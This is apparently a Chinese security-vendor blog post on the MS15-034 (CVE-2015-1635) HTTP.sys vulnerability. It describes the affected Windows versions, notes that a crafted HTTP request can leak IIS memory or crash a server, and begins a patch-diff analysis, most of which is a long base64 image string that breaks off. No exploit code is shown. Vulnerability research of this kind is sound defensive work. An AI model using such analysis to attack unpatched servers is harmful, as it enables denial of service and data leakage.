写在前言:
在2015年4月安全补丁日,微软发布了11项安全更新,共修复了包括Microsoft Windows、Internet Explorer、Office、.NET Framework、Server软件、Office Services和Web Apps中存在的26个安全漏洞。其中就修复了HTTP.sys 中一处允许远程执行代码漏洞,编号为:CVE-2015-1635(MS15-034 )。目前服务器安全狗已经更新了安全补丁,建议及时修复安全狗提示给您的漏洞信息,以免漏洞被利用遭到攻击。
据称,利用HTTP.sys的安全漏洞,攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃。
根据公告显示,该漏洞对服务器系统造成了不小的影响,主要影响了包括Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2在内的主流服务器操作系统。
安全狗安全研究团队的小伙伴们在得知这一漏洞情况后,也对其进行了深入挖掘研究,下面就将相关信息结果分享给大家。如果有任何想法,以及进一步的利用操作,也欢迎指教讨论。
1. 首先对补丁文件做了二进制比对
以下是Windows 7 修复前后HTTP.SYS的变化。
aaarticlea/png;base64,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